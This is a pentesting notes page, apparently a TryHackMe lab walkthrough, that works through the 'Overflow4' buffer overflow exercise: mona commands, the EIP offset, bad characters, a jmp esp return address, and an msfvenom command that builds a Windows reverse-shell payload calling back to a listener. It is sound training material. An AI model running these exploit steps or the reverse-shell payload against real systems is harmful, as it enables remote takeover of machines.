> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/buffer-overflow/tryhackme-practice/overflow4.md).

# Overflow4

### 1. Fuzz application to find number of bytes needed to crash the application

Bytes needed to crash application: 2100

### 2. Set mona configuration

`!mona config -set workingfolder c:\mona\%p`

### 3. Find `EIP` offset

`/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100`

`!mona findmsp -distance 2100`

EIP offset: 2026

### 4. Find bad characters

`!mona bytearray -b "\x00"`

`!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>`

Bad characters: `\x00\xa9\xcd\xd4`

### 5. Find `jmp esp` instruction sets without any bad characters

`!mona jmp -r esp -cpb "\x00\xa9\xcd\xd4"`

Return address: `0x625011af`

### 6. Generate shellcode

`msfvenom -p windows/shell_reverse_tcp LHOST=10.9.141.31 LPORT=4444 EXITFUNC=thread -b "\x00\xa9\xcd\xd4" -f c`

### 7. Set `nop` sled in padding

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FEdFwVfSHT8swTJgxdEqS%2Fimage.png?alt=media\&token=09fcc41c-9e7d-4966-90fb-e1f1063dd1ae)